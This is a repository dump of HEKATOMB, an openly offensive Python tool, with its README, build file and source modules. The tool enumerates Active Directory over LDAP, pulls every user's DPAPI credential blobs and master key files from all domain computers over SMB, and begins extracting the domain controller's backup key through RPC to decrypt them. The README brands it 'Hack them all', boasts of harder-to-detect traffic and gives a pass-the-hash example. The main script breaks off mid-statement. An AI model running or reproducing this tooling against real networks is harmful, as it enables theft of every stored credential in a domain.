├── src └── hekatomb │ ├── __init__.py │ ├── ad_ldap.py │ ├── blobs.py │ └── hekatomb.py ├── .gitignore ├── .assets ├── github1.png └── hekatomb_v1.4.png ├── pyproject.toml ├── README.md └── LICENSE.md /src/hekatomb/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | dist/ 2 | __pycache__ 3 | -------------------------------------------------------------------------------- /.assets/github1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProcessusT/HEKATOMB/HEAD/.assets/github1.png -------------------------------------------------------------------------------- /.assets/hekatomb_v1.4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProcessusT/HEKATOMB/HEAD/.assets/hekatomb_v1.4.png -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "hekatomb" 3 | version = "1.5.2.3" 4 | description = "Python library to extract and decrypt all credentials from all domain computers" 5 | license = "GPL-3.0-only" 6 | authors = ["Processus Thief "] 7 | maintainers = [ 8 | "Processus Thief " 9 | ] 10 | readme = "README.md" 11 | homepage = "https://github.com/ProcessusT/HEKATOMB" 12 | repository = "https://github.com/ProcessusT/HEKATOMB" 13 | documentation = "https://github.com/ProcessusT/HEKATOMB" 14 | keywords = ["hekatomb", "dpapi", "windows", "blob", "masterkey", "activedirectory", "credentials"] 15 | classifiers = [ 16 | "Topic :: System :: Systems Administration :: Authentication/Directory", 17 | "Topic :: System :: Systems Administration :: Authentication/Directory :: LDAP" 18 | ] 19 | packages = [ 20 | { include = "hekatomb", from = "src" } 21 | ] 22 | 23 | 24 | [tool.poetry.dependencies] 25 | python = "^3.7" 26 | impacket = "^0.10.0" 27 | dnspython = "^2.2.1" 28 | pycryptodomex = "^3.15.0" 29 | ldap3 = "^2.9" 30 | chardet = "^5.2.0" 31 | 32 | [tool.poetry.scripts] 33 | hekatomb = "hekatomb.hekatomb:main" 34 | 35 | [tool.poetry.urls] 36 | "Bug Tracker" = "https://github.com/ProcessusT/HEKATOMB/issues" 37 | 38 | [build-system] 39 | requires = ["poetry-core>=1.0.0"] 40 | build-backend = "poetry.core.masonry.api" 41 | 42 | 43 | # to compile : python3 -m pyproject_installer build 44 | # then, upload with twine to pypi 45 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # The HEKATOMB project 2 | 3 |
4 |
5 | 6 |
7 | 8 |
9 |

10 | Because Domain Admin rights are not enough.
11 | Hack them all.
12 | 🐍 13 |

14 |

15 |
16 | 17 | > Hekatomb is a python script that connects to LDAP directory to retrieve all computers and users informations.
18 | > Then it will download all DPAPI blob of all users from all computers.
19 | > Finally, it will extract domain controller private key through RPC uses it to decrypt all credentials.
20 | >
21 | > 22 |
23 |
24 | 25 |
26 |
27 | 28 | 29 | 30 | 31 | 32 | ## Changelog 33 |
34 | On last version (V 1.5) :
35 | - Fix local packages importation error with pip installation
36 | - Prevent crash when no computers are reachable
37 | - Prevent null domain or null domain extension
38 |
39 | V 1.4 :
40 | - Fix LDAP search limitation to 1000 items
41 | - Add LDAP filter for computers to select only "Enabled" computers
42 | - Add function to scan SMB port with multi thread prior to get blob and master key files
43 | - Add a progress bar for files collection
44 | - Added 2 function modules to simplify code readability and maintainability
45 |
46 | V 1.3 :
47 | - Compare LDAP usernames with SMB users folders before trying to retrieve blob files to get them faster
48 | - DNSTCP option is no more used, DNS resolution is trying on UDP first and with TCP if it fails
49 |
50 | V 1.2.1 :
51 | - Use of the ldap3 library instead of Impacket for LDAP requests
52 | - Fix a bug that prevented querying trusted domains via an external domain account with administrator rights on the trusted domain controller
53 | - Add -smb2 parameter to force the use of SMBv2 protocol when it is available
54 | - LDAP and SMB communications are now more difficult to detect on the network
55 |
56 | V 1.2.1 :
57 | - Add installation with Pypi
58 |
59 | V 1.2 :
60 | - Increase the LDAP results limit of users or computers extraction (1000 previously)
61 | - Add the possibility to specify a user or a computer to target
62 | - Add the possibility to export results to a CSV file
63 |
64 | V 1.1 :
65 | - Domain controller private key extraction through RPC
66 | - Credentials classification by computers and by users
67 | 68 |

69 | 70 | ## What da fuck is this ? 71 |
72 | On Windows, credentials saved in the Windows Credentials Manager are encrypted using Microsoft's Data Protection API and stored as "blob" files in user AppData folder.
73 | Outside of a domain, the user's password hash is used to encrypt these "blobs".
74 | When you are in an Active Directory environment, the Data Protection API uses the domain controller's public key to encrypt these blobs.
75 | With the extracted private key of the domain controller, it is possible to decrypt all the blobs, and therefore to recover all the secrets recorded in the Windows identification manager of all the workstations in the domain.
76 |
77 | Hekatomb automates the search for blobs and the decryption to recover all domain users' secrets ☠️ 78 |
79 |
80 | 81 | ## Installation 82 |
83 | From Pypi for Debian-based : 84 |

85 | 86 | ```python 87 | pip3 install hekatomb 88 | ``` 89 | 90 | 91 |
92 | From BlackArch : 93 |

94 | 95 | ```python 96 | pacman -S hekatomb 97 | ``` 98 | 99 | [![BlackArch package](https://repology.org/badge/version-for-repo/blackarch/hekatomb.svg)](https://repology.org/project/hekatomb/versions) 100 | 101 |
102 | 103 | From github : 104 |

105 | 106 | ```python 107 | git clone https://github.com/ProcessusT/HEKATOMB 108 | cd HEKATOMB 109 | poetry install 110 | poetry run hekatomb 111 | ``` 112 |
113 |
114 | 115 | 116 | ## Usage 117 |
118 | Hekatomb uses Impacket syntax : 119 |

120 | 121 | ```python 122 | usage: hekatomb [-h] [-hashes LMHASH:NTHASH] [-pvk PVK] [-dns DNS] [-dnstcp] [-port [port]] [-just-user JUST_USER] [-just-computer JUST_COMPUTER] [-md5] [-debug] [-debugmax] target 123 | 124 | Script used to automate domain computers and users extraction from LDAP and extraction of domain controller private key through RPC to collect and decrypt all users' DPAPI secrets saved in Windows credential manager. 125 | 126 | positional arguments: 127 | target [[domain/]username[:password]@] 128 | 129 | options: 130 | -h, --help Show this help message and exit 131 | 132 | authentication: 133 | -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH 134 | 135 | authentication: 136 | -pvk PVK Domain backup keys file 137 | -dns DNS DNS server IP address to resolve computers hostname 138 | -port [port] Port to connect to SMB Server 139 | -smb2 Force the use of SMBv2 protocol 140 | -just-user [USERNAME] Test only specified username 141 | -just-computer [COMPUTER] Test only specified computer 142 | -md5 Print md5 hash insted of clear passwords 143 | 144 | verbosity: 145 | -csv Output the results in csv 146 | -debug Turn DEBUG output ON 147 | -debugmax Turn DEBUG output TO MAAAAXXXX 148 | ``` 149 | 150 |
151 |
152 | 153 | ## Example 154 | 155 |
156 | 157 | ```python 158 | hekatomb -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug 159 | ``` 160 | 161 |
162 |
163 | 164 | ## How to retrieve domain backup keys ? 165 | 166 |
167 | If no domain backup keys are provided, the script will retrieve it through RPC 168 | -------------------------------------------------------------------------------- /src/hekatomb/ad_ldap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # HEKATOMB - Because Domain Admin rights are not enough. Hack them all. 4 | # 5 | # AD LDAP Fonctions 6 | 7 | import sys 8 | from ldap3 import Connection, Server, NTLM, ALL 9 | from threading import * 10 | import socket 11 | import dns.resolver 12 | 13 | global online_computers 14 | online_computers = [] 15 | 16 | def scan(computer, domain, dns_server, port, debug, debugmax): 17 | # Trying to resolve IP address of the host 18 | screenLock = Semaphore(value=1) 19 | answer = '' 20 | 21 | # Create a socket object for TCP IP connection 22 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 23 | s.settimeout(30) 24 | 25 | try: 26 | # resolve dns to ip address 27 | resolver = dns.resolver.Resolver(configure=False) 28 | resolver.timeout = 60 29 | resolver.lifetime = 60 30 | resolver.nameservers = [dns_server] 31 | 32 | dns_computer = str(computer)+"."+str(domain) 33 | if debug is True or debugmax is True: 34 | screenLock.acquire() 35 | print("[+] Resolving "+str(dns_computer) + " by asking DNS server "+str(dns_server)+" ...") 36 | screenLock.release() 37 | 38 | # trying dns resolution in TCP and if it fails, we try in UDP 39 | answer = resolver.resolve(dns_computer, "A", tcp=True) 40 | if len(answer) == 0: 41 | answer = resolver.resolve(dns_computer, "A", tcp=False) 42 | if len(answer) == 0: 43 | screenLock.acquire() 44 | print("[!] DNS resolution for "+str(computer) + " has failed.") 45 | screenLock.release() 46 | sys.exit(1) 47 | else: 48 | if debug: 49 | screenLock.acquire() 50 | print ('[+] DNS resolution for ', str(computer) , ' succeeded : ', str(answer[0])) 51 | screenLock.release() 52 | answer = str(answer[0]) 53 | 54 | # Set IP and Port to connect 55 | s.connect((answer, port)) 56 | 57 | # Closing the socket 58 | s.close() 59 | 60 | # Call the summary fonction to add the computer to the online_computers list 61 | summary(computer) 62 | 63 | except Exception as e: 64 | if debug is True or debugmax is True: 65 | screenLock.acquire() 66 | print("[!] ERROR : " +str(e)) 67 | screenLock.release() 68 | # Free the semaphore object and close the socket 69 | finally: 70 | screenLock.release() 71 | s.close() 72 | return 73 | 74 | 75 | # Création d'une boucle pour créer un thread par machine 76 | def SmbScan(computers_list, domain, dns_server, port, debug, debugmax): 77 | # Définition du tableau de threads 78 | threads = [] 79 | 80 | # Pour chaque port entre min et max 81 | for computer in computers_list: 82 | 83 | # Création d'un thread faisant appel à la fonciton scan avec l'ip et le port en arguments 84 | t = Thread(target=scan, args=(computer, domain, dns_server, port, debug, debugmax)) 85 | 86 | # Lancement de l'exécution du thread 87 | t.start() 88 | 89 | # Ajout du thread au tableau des threads 90 | threads.append(t) 91 | 92 | # On attend que tous les threads se terminent puis on quitte la boucle 93 | [t.join() for t in threads] 94 | return 95 | 96 | 97 | 98 | # Fonction d'ajout des ordinateurs en ligne dans un tableau 99 | def summary(computer): 100 | online_computers.append(computer) 101 | return 102 | 103 | def Get_online_computers(): 104 | return online_computers 105 | 106 | 107 | def Connect_AD_ldap(address, domain, username, passLdap, debug, debugmax): 108 | # try to connect to ldap 109 | 110 | if debug is True or debugmax is True: 111 | print("[+] Testing LDAP connection...") 112 | 113 | connectionFailed = False 114 | serv = Server(address, get_info=ALL, use_ssl=True, connect_timeout=15) 115 | ldapConnection = Connection(serv, user=f"{domain}\\{username}", password=passLdap, authentication=NTLM) 116 | 117 | try: 118 | if not ldapConnection.bind(): 119 | print("[!] Error : Could not connect to ldap : bad credentials") 120 | sys.exit(1) 121 | if debug is True or debugmax is True: 122 | print("[+] LDAP connection successfull with SSL encryption.") 123 | except: 124 | if debug is True or debugmax is True: 125 | print("[!] Error : Could not connect to ldap with SSL encryption. Trying without SSL encryption...") 126 | connectionFailed = True 127 | 128 | if connectionFailed: 129 | try: 130 | serv = Server(address, get_info=ALL, connect_timeout=15) 131 | ldapConnection = Connection(serv, user=f"{domain}\\{username}", password=passLdap, authentication=NTLM) 132 | if not ldapConnection.bind(): 133 | print("[!] Error : Could not connect to ldap : bad credentials") 134 | sys.exit(1) 135 | print("[+] LDAP connection succeeded !") 136 | except: 137 | print("[!] Error : Could not connect to ldap.") 138 | if debug is True or debugmax is True: 139 | import traceback 140 | traceback.print_exc() 141 | sys.exit(1) 142 | 143 | # Create the baseDN 144 | baseDN = serv.info.other['defaultNamingContext'][0] 145 | return ldapConnection,baseDN 146 | 147 | def Get_AD_users(ldapConnection, baseDN, just_user, debug, debugmax): 148 | # catch all users in domain or just the specified one 149 | if just_user is not None : 150 | searchFilter = "(&(objectCategory=person)(objectClass=user)(sAMAccountName="+str(just_user)+"))" 151 | print("[+] Target user will be only " + str(just_user)) 152 | else: 153 | searchFilter = "(&(objectCategory=person)(objectClass=user))" 154 | try: 155 | print("[+] Retrieving user objects in LDAP directory...") 156 | ldap_users = [] 157 | ldapConnection.search('%s' % (baseDN), searchFilter, attributes=['sAMAccountName', 'objectSID'],paged_size=1000) 158 | for i in range(len(ldapConnection.entries)): 159 | ldap_users.append(ldapConnection.entries[i]) 160 | cookie = ldapConnection.result['controls']['1.2.840.113556.1.4.319']['value']['cookie'] 161 | while cookie: 162 | ldapConnection.search('%s' % (baseDN), searchFilter, attributes=['sAMAccountName', 'objectSID'],paged_size=1000,paged_cookie=cookie) 163 | cookie = ldapConnection.result['controls']['1.2.840.113556.1.4.319']['value']['cookie'] 164 | for i in range(len(ldapConnection.entries)): 165 | ldap_users.append(ldapConnection.entries[i]) 166 | 167 | if debug is True or debugmax is True: 168 | print("[+] Converting ObjectSID in string SID...") 169 | 170 | ad_users = [] 171 | for user in ldap_users: 172 | try: 173 | ldap_username = str(user['sAMAccountName']) 174 | sid = str(user['objectSID']) 175 | name_and_sid = [ldap_username.strip(), sid] 176 | ad_users.append(name_and_sid) 177 | except: 178 | pass 179 | # some users may not have samAccountName 180 | if debug is True or debugmax is True: 181 | print("[+] Found about " + str( len(ldap_users) ) + " users in LDAP directory.") 182 | except: 183 | print("[!] Error : Could not extract users from ldap.") 184 | if debug is True or debugmax is True: 185 | import traceback 186 | traceback.print_exc() 187 | sys.exit(1) 188 | if len(ad_users) == 0: 189 | print("[!] No user found in LDAP directory") 190 | sys.exit(1); 191 | 192 | return ad_users 193 | 194 | 195 | def Get_AD_computers(ldapConnection, baseDN, just_computer, debug, debugmax): 196 | # catch all computers (enabled) in domain or just the specified one 197 | print("[+] Retrieving computer objects in LDAP directory...") 198 | ad_computers = [] 199 | ldap_computers = [] 200 | if just_computer is not None : 201 | ad_computers.append(just_computer) 202 | print("[+] Target computer will be only " + str(just_computer)) 203 | else: 204 | try: 205 | # Filter on enabled computer only 206 | searchFilter = "(&(objectCategory=computer)(objectClass=computer)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" 207 | search_base = baseDN 208 | ldapConnection.search(search_base, searchFilter, attributes=['cn'],paged_size=1000) 209 | 210 | for i in range(len(ldapConnection.entries)): 211 | ldap_computers.append(ldapConnection.entries[i]) 212 | if debugmax is True: 213 | print("[+] ldapConnection.entries["+str(i)+"] : " + str(ldapConnection.entries[i]).strip()) 214 | 215 | cookie = ldapConnection.result['controls']['1.2.840.113556.1.4.319']['value']['cookie'] 216 | while cookie: 217 | ldapConnection.search('%s' % (baseDN), searchFilter, attributes=['cn'],paged_size=1000,paged_cookie=cookie) 218 | cookie = ldapConnection.result['controls']['1.2.840.113556.1.4.319']['value']['cookie'] 219 | for i in range(len(ldapConnection.entries)): 220 | ldap_computers.append(ldapConnection.entries[i]) 221 | 222 | for computer in ldap_computers: 223 | try: 224 | comp_name = str(computer['cn']) 225 | ad_computers.append(comp_name.strip()) 226 | except: 227 | pass 228 | if debug is True or debugmax is True: 229 | print("[+] Found about " + str( len(ad_computers) ) + " computers in LDAP directory.") 230 | except: 231 | print("[!] Error : Could not extract computers from ldap.") 232 | if debug is True or debugmax is True: 233 | import traceback 234 | traceback.print_exc() 235 | 236 | return ad_computers 237 | -------------------------------------------------------------------------------- /src/hekatomb/blobs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # HEKATOMB - Because Domain Admin rights are not enough. Hack them all. 4 | # 5 | # Blob folders Fonctions 6 | 7 | import os, time, sys 8 | import dns.resolver 9 | from impacket.smbconnection import SMBConnection 10 | from impacket.smb3structs import SMB2_DIALECT_002 11 | 12 | 13 | def Create_folders(domain, debug, debugmax): 14 | # creating folders to store blob and mkf 15 | if debug is True or debugmax is True: 16 | print("[+] Creating structure folders to store blob and mkf...") 17 | if domain == '': 18 | directory = 'Results' 19 | else: 20 | directory = domain 21 | blobFolder = domain + "/blob" 22 | mkfFolder = domain + "/mfk" 23 | if not os.path.exists(directory): 24 | os.mkdir(directory) 25 | if not os.path.exists(blobFolder): 26 | os.mkdir(blobFolder) 27 | if not os.path.exists(mkfFolder): 28 | os.mkdir(mkfFolder) 29 | 30 | return blobFolder, mkfFolder, directory 31 | 32 | def progress(count, total, status=''): 33 | bar_len = 60 34 | filled_len = int(round(bar_len * count / float(total))) 35 | percents = round(100.0 * count / float(total), 1) 36 | bar = '=' * filled_len + '-' * (bar_len - filled_len) 37 | sys.stdout.write('[%s] %s%s ...%s\r' % (bar, percents, '%', status)) 38 | sys.stdout.flush() 39 | 40 | def Get_blob_and_mkf(computers_list, users_list, username, password, domain, lmhash, nthash, myName, port, preferredDialect, blobFolder, mkfFolder, dns_server, debug, debugmax): 41 | if debug is True or debugmax is True: 42 | print("[+] Connnecting to all computers and try to get dpapi blobs and master key files ...") 43 | 44 | # Total of online computers 45 | total = len(computers_list) 46 | 47 | # Progress bar initialization 48 | count = int(0) 49 | progress(count, total, status=' Starting to collect files') 50 | time.sleep(2) 51 | 52 | for current_computer in computers_list: 53 | # connect to all computers and extract all users blobs and mkf 54 | 55 | count = count + 1 56 | progress(count, total, ' Collect in progress ....') 57 | 58 | try: 59 | # resolve dns to ip address 60 | resolver = dns.resolver.Resolver(configure=False) 61 | resolver.nameservers = [dns_server] 62 | current_computer = current_computer + "." + domain 63 | # trying dns resolution in TCP and if it fails, we try in UDP 64 | answer = resolver.resolve(current_computer, "A", tcp=True) 65 | if len(answer) == 0: 66 | answer = resolver.resolve(current_computer, "A", tcp=False) 67 | if len(answer) == 0: 68 | print("[!] DNS resolution for "+str(current_computer) + " has failed.") 69 | sys.exit(1) 70 | else: 71 | answer = str(answer[0]) 72 | 73 | smbClient = SMBConnection(answer, answer, myName=myName, sess_port=int(port), timeout=10, preferredDialect=preferredDialect) 74 | smbClient.login(username, password, domain, lmhash, nthash) 75 | tid = smbClient.connectTree('c$') 76 | if tid != 1: 77 | sys.exit(1) 78 | # Instead of testing all users folder, just get content and compare folder names to usernames array to find existing folders faster (thanks to @kal-u for the idea) 79 | existing_users_folder = smbClient.listPath("C$", "\\users\\*") 80 | 81 | for current_user_folder in existing_users_folder: 82 | current_user_folder = str( str(current_user_folder).split("longname=\"")[1] ).split("\", filesize=")[0].lower() 83 | for current_user in users_list: 84 | if current_user_folder != "." and current_user_folder != ".." : 85 | if str(current_user[0]).lower() == str(current_user_folder).lower(): 86 | try: 87 | if debugmax is True: 88 | print("[+] Find existing user " + str(current_user[0]) + " on computer " + str(current_computer) ) 89 | response = smbClient.listPath("C$", "\\users\\" + current_user[0] + "\\appData\\Roaming\\Microsoft\\Credentials\\*") 90 | is_there_any_blob_for_this_user = False 91 | count_blobs = 0 92 | count_mkf = 0 93 | for blob_file in response: 94 | blob_file = str( str(blob_file).split("longname=\"")[1] ).split("\", filesize=")[0] 95 | if blob_file != "." and blob_file != "..": 96 | # create and retrieve the credential blob 97 | count_blobs = count_blobs + 1 98 | computer_folder = blobFolder + "/" + str(current_computer) 99 | if not os.path.exists(computer_folder): 100 | os.mkdir(computer_folder) 101 | user_folder = computer_folder + "/" + str(current_user[0]) 102 | if not os.path.exists(user_folder): 103 | os.mkdir(user_folder) 104 | wf = open(user_folder + "/" + blob_file,'wb') 105 | smbClient.getFile("C$", "\\users\\" + current_user[0] + "\\appData\\Roaming\\Microsoft\\Credentials\\" + blob_file, wf.write) 106 | is_there_any_blob_for_this_user = True 107 | response = smbClient.listPath("C$", "\\users\\" + current_user[0] + "\\appData\\Local\\Microsoft\\Credentials\\*") 108 | 109 | for blob_file in response: 110 | blob_file = str( str(blob_file).split("longname=\"")[1] ).split("\", filesize=")[0] 111 | if blob_file != "." and blob_file != "..": 112 | # create and retrieve the credential blob 113 | count_blobs = count_blobs + 1 114 | computer_folder = blobFolder + "/" + str(current_computer) 115 | if not os.path.exists(computer_folder): 116 | os.mkdir(computer_folder) 117 | user_folder = computer_folder + "/" + str(current_user[0]) 118 | if not os.path.exists(user_folder): 119 | os.mkdir(user_folder) 120 | wf = open(user_folder + "/" + blob_file,'wb') 121 | smbClient.getFile("C$", "\\users\\" + current_user[0] + "\\appData\\Local\\Microsoft\\Credentials\\" + blob_file, wf.write) 122 | is_there_any_blob_for_this_user = True 123 | if is_there_any_blob_for_this_user is True: 124 | # If there is cred blob there is mkf so we have to get them too 125 | response = smbClient.listPath("C$", "\\users\\" + current_user[0] + "\\appData\\Roaming\\Microsoft\\Protect\\" + current_user[1] + "\\*") 126 | for mkf in response: 127 | mkf = str( str(mkf).split("longname=\"")[1] ).split("\", filesize=")[0] 128 | if mkf != "." and mkf != ".." and mkf != "Preferred" and mkf[0:3] != "BK-": 129 | count_mkf = count_mkf + 1 130 | wf = open(mkfFolder + "/" + mkf,'wb') 131 | smbClient.getFile("C$", "\\users\\" + current_user[0] + "\\appData\\Roaming\\Microsoft\\Protect\\" + current_user[1] + "\\" + mkf, wf.write) 132 | if debugmax is True: 133 | print("[+] New credentials found for user " + str(current_user[0]) + " on " + str(current_computer) + " :") 134 | print("[+] Retrieved " + str(count_blobs) + " credential blob(s) and " + str(count_mkf) + " masterkey file(s)") 135 | except KeyboardInterrupt: 136 | os._exit(1) 137 | except: 138 | pass # this user folder do not exist on this computer 139 | if total == count: 140 | progress(count, total, ' Collect complete .......') 141 | print('\n') 142 | 143 | except KeyboardInterrupt: 144 | os._exit(1) 145 | except dns.exception.DNSException: 146 | if debugmax is True: 147 | print("[!] Error on computer "+str(current_computer)) 148 | import traceback 149 | traceback.print_exc() 150 | pass 151 | except: 152 | if debug is True: 153 | print("[!] Debug : Could not connect to computer : " + str(current_computer)) 154 | if debugmax is True: 155 | import traceback 156 | traceback.print_exc() 157 | pass # this computer is probably turned off for the moment 158 | 159 | -------------------------------------------------------------------------------- /src/hekatomb/hekatomb.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # HEKATOMB - Because Domain Admin rights are not enough. Hack them all. 4 | # 5 | # V 1.5.1 6 | # 7 | # Copyright (C) 2022 Les tutos de Processus. All rights reserved. 8 | # 9 | # 10 | # Description: 11 | # Hekatomb is a python script that connects to LDAP directory to retrieve all computers and users informations. 12 | # Then it will download all DPAPI blob of all users from all computers. 13 | # Finally, it will extract domain controller private key through RPC uses it to decrypt all credentials. 14 | # 15 | # Author: 16 | # Processus (@ProcessusT) 17 | # Collaborators: 18 | # C0wnuts (@kevin_racca) 19 | # kalu (@kalu_69) 20 | 21 | import os, sys, argparse, random, string, time 22 | # from ldap3 import Connection, Server, NTLM, ALL 23 | from impacket.examples.utils import parse_target 24 | from impacket.smbconnection import SMBConnection 25 | from impacket.smb3structs import SMB2_DIALECT_002 26 | from impacket.dcerpc.v5 import transport, lsad 27 | from impacket import crypto 28 | from impacket.uuid import bin_to_string 29 | from impacket.dpapi import CredHist, PVK_FILE_HDR, PREFERRED_BACKUP_KEY, PRIVATE_KEY_BLOB, privatekeyblob_to_pkcs1, MasterKeyFile, MasterKey, DomainKey, DPAPI_DOMAIN_RSA_MASTER_KEY, CredentialFile, DPAPI_BLOB, CREDENTIAL_BLOB 30 | import struct 31 | import binascii 32 | from binascii import hexlify 33 | import dns.resolver 34 | from impacket.examples.smbclient import MiniImpacketShell 35 | import traceback 36 | from Cryptodome.Cipher import PKCS1_v1_5 37 | from datetime import datetime 38 | from impacket.ese import getUnixTime 39 | import hashlib 40 | from hekatomb.ad_ldap import Connect_AD_ldap, Get_AD_users, Get_AD_computers, SmbScan, Get_online_computers 41 | from hekatomb.blobs import Create_folders, Get_blob_and_mkf 42 | 43 | 44 | sys.tracebacklimit = 0 45 | 46 | 47 | def main(): 48 | print("\n██░ ██ ▓█████ ██ ▄█▀▄▄▄ ▄▄▄█████▓ ▒█████ ███▄ ▄███▓ ▄▄▄▄ \n▓██░ ██▒▓█ ▀ ██▄█▒▒████▄ ▓ ██▒ ▓▒▒██▒ ██▒▓██▒▀█▀ ██▒▓█████▄ \n▒██▀▀██░▒███ ▓███▄░▒██ ▀█▄ ▒ ▓██░ ▒░▒██░ ██▒▓██ ▓██░▒██▒ ▄██\n░▓█ ░██ ▒▓█ ▄ ▓██ █▄░██▄▄▄▄██░ ▓██▓ ░ ▒██ ██░▒██ ▒██ ▒██░█▀ \n░▓█▒░██▓░▒████▒▒██▒ █▄▓█ ▓██▒ ▒██▒ ░ ░ ████▓▒░▒██▒ ░██▒░▓█ ▀█▓\n ▒ ░░▒░▒░░ ▒░ ░▒ ▒▒ ▓▒▒▒ ▓▒█░ ▒ ░░ ░ ▒░▒░▒░ ░ ▒░ ░ ░░▒▓███▀▒\n ▒ ░▒░ ░ ░ ░ ░░ ░▒ ▒░ ▒ ▒▒ ░ ░ ░ ▒ ▒░ ░ ░ ░▒░▒ ░ \n ░ ░░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░ ░ ░ ░ \n ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ \n Because Domain Admin rights are not enough.\n\t\tHack them all.\n\n\t @Processus\n\t v1.5\n**************************************************\n\n") 49 | 50 | start = time.time() 51 | 52 | parser = argparse.ArgumentParser(add_help = True, description = "Script used to automate domain computers and users extraction from LDAP and extraction of domain controller private key through RPC to collect and decrypt all users' DPAPI secrets saved in Windows credential manager.") 53 | 54 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 55 | 56 | auth = parser.add_argument_group('authentication') 57 | auth.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 58 | 59 | options = parser.add_argument_group('authentication') 60 | options.add_argument('-pvk', action='store', help='\t\t\t\t\t\t\t\t\t\tDomain backup keys file') 61 | options.add_argument('-dns', action="store", help='DNS server IP address to resolve computers hostname') 62 | options.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="port", help='Port to connect to SMB Server') 63 | options.add_argument('-smb2', action="store_true", help='Force the use of SMBv2 protocol') 64 | options.add_argument('-just-user', action='store', help='Test only specified username') 65 | options.add_argument('-just-computer', action='store', help='Test only specified computer') 66 | options.add_argument('-md5', action="store_true", help='Print md5 hash instead of clear passwords') 67 | 68 | verbosity = parser.add_argument_group('verbosity') 69 | verbosity.add_argument('-csv', action="store_true", help='Export results to CSV file') 70 | verbosity.add_argument('-debug', action="store_true", help='Turn DEBUG output ON') 71 | verbosity.add_argument('-debugmax', action="store_true", help='Turn DEBUG output TO MAAAAXXXX') 72 | 73 | 74 | if len(sys.argv)==1: 75 | parser.print_help() 76 | sys.exit(1) 77 | 78 | options = parser.parse_args() 79 | domain, username, password, address = parse_target(options.target) 80 | passLdap = password 81 | 82 | 83 | if domain is None: 84 | print("[!] Domain can't be null") 85 | sys.exit(1) 86 | if len(domain)<1: 87 | print("[!] Domain can't be null") 88 | sys.exit(1) 89 | if (domain.find('.') != -1): 90 | print("[+] Targeting domain "+str(domain)) 91 | else: 92 | domain = domain + ".local" 93 | print("[+] Targeting domain "+str(domain)) 94 | 95 | if password == '' and username != '' and options.hashes is None : 96 | from getpass import getpass 97 | password = getpass("[+] Password:") 98 | passLdap = password 99 | if options.hashes is not None: 100 | lmhash, nthash = options.hashes.split(':') 101 | if '' == lmhash: 102 | lmhash = 'aad3b435b51404eeaad3b435b51404ee' 103 | passLdap = f"{lmhash}:{nthash}" 104 | 105 | else: 106 | lmhash = '' 107 | nthash = '' 108 | 109 | if options.dns is None: 110 | dns_server = address 111 | else: 112 | dns_server = options.dns 113 | 114 | if options.smb2 is True: 115 | preferredDialect = SMB2_DIALECT_002 116 | else: 117 | preferredDialect = None 118 | 119 | debug = options.debug 120 | debugmax = options.debugmax 121 | port = int(options.port) 122 | 123 | myNameCharList = string.ascii_lowercase 124 | myNameLen = random.randrange(6,12) 125 | myName = ''.join((random.choice(myNameCharList) for i in range(myNameLen))) 126 | 127 | # test if account is domain admin by accessing to DC c$ share 128 | try: 129 | if options.debug is True or options.debugmax is True: 130 | print("[+] Testing admin rights...") 131 | smbClient = SMBConnection(address, address, myName=myName, sess_port=port, preferredDialect=preferredDialect) 132 | smbClient.login(username, password, domain, lmhash, nthash) 133 | if smbClient.connectTree("c$") != 1: 134 | raise 135 | if options.debug is True or options.debugmax is True: 136 | print("[+] Admin access granted.") 137 | except: 138 | print("[!] Error : Account disabled or access denied. Are you really a domain admin ?") 139 | if options.debug is True or options.debugmax is True: 140 | import traceback 141 | traceback.print_exc() 142 | sys.exit(1) 143 | 144 | # try to connect to ldap 145 | ldapConnection,baseDN = Connect_AD_ldap(address, domain, username, passLdap, debug, debugmax) 146 | 147 | # catch all users in domain or just the specified one 148 | users_list = Get_AD_users(ldapConnection, baseDN, options.just_user, debug, debugmax) 149 | 150 | # catch all computers in domain or just the specified one 151 | computers_list = Get_AD_computers(ldapConnection, baseDN, options.just_computer, debug, debugmax) 152 | 153 | # # creating folders to store blobs and master key files 154 | blobFolder, mkfFolder, directory = Create_folders(domain, debug, debugmax) 155 | 156 | # Scanning computers list on SMB port 157 | if debug is True or debugmax is True: 158 | print("[+] Scanning computers list on SMB port ...") 159 | SmbScan(computers_list, domain, dns_server, port, debug, debugmax) 160 | 161 | online_computers = Get_online_computers() 162 | if debug is True or debugmax is True: 163 | print("[+] It seems that " + str(len(online_computers)) + " computers are online ...") 164 | 165 | if str(len(online_computers)) == "0": 166 | print("\n[!] No computers available") 167 | sys.exit() 168 | # # Retrieving blobs and mkf files 169 | Get_blob_and_mkf(online_computers, users_list, username, password, domain, lmhash, nthash, myName, port, preferredDialect, blobFolder, mkfFolder, dns_server, debug, debugmax) 170 | 171 | 172 | 173 | 174 | if options.pvk is None: 175 | if debug is True: 176 | print("[+] Domain backup keys not given.\n[+] Trying to extract...") 177 | # get domain backup keys 178 | try: 179 | array_of_mkf_keys = [] 180 | connection = SMBConnection(address, address, myName=myName, preferredDialect=preferredDialect) 181 | connection.login(username, password, domain, lmhash, nthash) 182 | # create rpc pipe 183 | rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\lsarpc]') 184 | rpctransport.set_smb_connection(connection) 185 | dce = rpctransport.get_dce_rpc() 186 | dce.connect() 187 | # connection to LSA remotely through RPC 188 | dce.bind(lsad.MSRPC_UUID_LSAD) 189 | resp = 